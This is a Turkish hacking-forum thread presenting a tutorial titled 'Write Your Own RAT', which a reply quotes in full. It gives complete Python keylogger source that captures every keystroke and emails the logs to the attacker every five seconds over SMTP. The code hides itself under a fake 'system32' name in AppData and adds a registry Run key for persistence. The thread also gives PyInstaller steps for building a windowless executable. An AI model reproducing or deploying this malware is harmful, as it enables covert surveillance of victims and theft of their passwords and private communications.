Kendi Ratınızı Yazın

HACKTEK

Üye
20 Ocak 2019
99
42
İlk olarak Windows makinenize Python'ı kurmanız gerekiyor, alttaki linkten indirip kurabilirsiniz. Kurulumlar oldukça basit ve youtube da fazlası ile video var, oraları geçiyorum.

Python:

Python'ı kurduktan sonra klavyeden gelen her girdiyi almamızı sağlayacak "pynput" kütüphanesi yükleyeceğiz. Diğer kütüphaneler Python ile kurulu gelmektedir.
Komut İstemcisini (CMD) açıyoruz ve alttaki forma uygun olacak şekilde yazıp yüklenmesini bekliyoruz.

Kod:

Yüklediğimiz_Python_Pathi -m pip install pynput
Örnek :
C:\Python\python.exe -m pip install pynput



Şimdi kodumuzu yazmaya hazırız. Dilediğiniz ide veya editör kurabilir, kullanabilirsiniz. Burayı da geçip, kodları paylaşıyorum.



Kod:
import pynput.keyboard as pynput
import smtplib
import threading
import os
import shutil
import sys
import subprocess

Kod:
log = """ start"""


def callback_func(key):
global log
try:
log = log + key.char.encode("utf-8")
except:
log = log + str(key)


def send_mail(email, password, to_email, message):
server = smtplib.SMTP("smtp.live.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, to_email, message)
server.quit()


Kod:
def thread_func():
global log
send_mail("[email protected]", "sifre", "[email protected]", log)
log = """
"""
timer = threading.Timer(5, thread_func)
timer.start()


file_path = os.environ["appdata"] + "\\system32"
if not os.path.exists(file_path):
shutil.copyfile(sys.executable, file_path)
regedit = "reg add HKCU\\Software\\Microsoft\\Windows\\Currentversion \\Run /v upgrade /t REG_SZ /d " + file_path
subprocess.call(regedit, shell=True)

listener = pynput.Listener(on_press=callback_func)

with listener:
thread_func()
listener.join()


eğer live servisi yerine gmail servisi kullanacaksanız, google güvenlik ayarlarını kapatmanız gereklidir.
server = smtplib.SMTP("smtp.live.com", 587) yerine
server = smtplib.SMTP("smtp.gmail.com", 587) yazmanız gerekli


Şimdi sıra py uzantılı dosyamızı exe uzantılı program haline getirmeye geldi, bu şekilde kütüphanleri programın içine gömerek, programı çalıştıracağınız sistemde Python kurulu olmasına gerek duymadan programı aktif edebileceksiniz. Bunun için bir kütüphane daha yükleyeceğiz


Kod:
Yüklediğimiz_Python_Pathi -m pip install pyinstaller
Örnek :
C:\Python27\python.exe -m pip install pyinstaller

Kütüphanemizi yüklendikten sonra exe çevirme işlemini yapacağız.

Kod:
Kod:
Pyinstaller_Path Keylogger.py.path --onefile --noconsole
Komut İstemcim ve Keylogger.py'm masaüstündedir, buna dikkat ediniz
Örnek
C:\Python\Scripts\pyinstaller.exe keylog.py --onefile --noconsole

Programımız masaüstünde oluşan "build" klasörü içindedir.
 

darkswan

Katılımcı Üye
19 Haz 2021
254
139
KARS


İlk olarak Windows makinenize Python'ı kurmanız gerekiyor, alttaki linkten indirip kurabilirsiniz. Kurulumlar oldukça basit ve youtube da fazlası ile video var, oraları geçiyorum.

Python:

Python'ı kurduktan sonra klavyeden gelen her girdiyi almamızı sağlayacak "pynput" kütüphanesi yükleyeceğiz. Diğer kütüphaneler Python ile kurulu gelmektedir.
Komut İstemcisini (CMD) açıyoruz ve alttaki forma uygun olacak şekilde yazıp yüklenmesini bekliyoruz.

Kod:
Yüklediğimiz_Python_Pathi -m pip install pynput
Örnek :
C:\Python\python.exe -m pip install pynput



Şimdi kodumuzu yazmaya hazırız. Dilediğiniz ide veya editör kurabilir, kullanabilirsiniz. Burayı da geçip, kodları paylaşıyorum.


Kod:
import pynput.keyboard as pynput
import smtplib
import threading
import os
import shutil
import sys
import subprocess

log = """
start
"""


def callback_func(key):
global log
try:
log = log + key.char.encode("utf-8")
except:
log = log + str(key)


def send_mail(email, password, to_email, message):
server = smtplib.SMTP("smtp.live.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, to_email, message)
server.quit()


def thread_func():
global log
send_mail("[email protected]", "sifre", "[email protected]", log)
log = """
"""
timer = threading.Timer(5, thread_func)
timer.start()


file_path = os.environ["appdata"] + "\\system32"
if not os.path.exists(file_path):
shutil.copyfile(sys.executable, file_path)
regedit = "reg add HKCU\\Software\\Microsoft\\Windows\\Currentversion \\Run /v upgrade /t REG_SZ /d " + file_path
subprocess.call(regedit, shell=True)

listener = pynput.Listener(on_press=callback_func)

with listener:
thread_func()
listener.join()


eğer live servisi yerine gmail servisi kullanacaksanız, google güvenlik ayarlarını kapatmanız gereklidir.
server = smtplib.SMTP("smtp.live.com", 587) yerine
server = smtplib.SMTP("smtp.gmail.com", 587) yazmanız gerekli


Şimdi sıra py uzantılı dosyamızı exe uzantılı program haline getirmeye geldi, bu şekilde kütüphanleri programın içine gömerek, programı çalıştıracağınız sistemde Python kurulu olmasına gerek duymadan programı aktif edebileceksiniz. Bunun için bir kütüphane daha yükleyeceğiz

Kod:
Yüklediğimiz_Python_Pathi -m pip install pyinstaller
Örnek :
C:\Python27\python.exe -m pip install pyinstaller

Kütüphanemizi yüklendikten sonra exe çevirme işlemini yapacağız.

Kod:
Pyinstaller_Path Keylogger.py.path --onefile --noconsole
Komut İstemcim ve Keylogger.py'm masaüstündedir, buna dikkat ediniz
Örnek
C:\Python\Scripts\pyinstaller.exe keylog.py --onefile --noconsole

Programımız masaüstünde oluşan "build" klasörü içindedir.
eline sağlık kardeşim
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.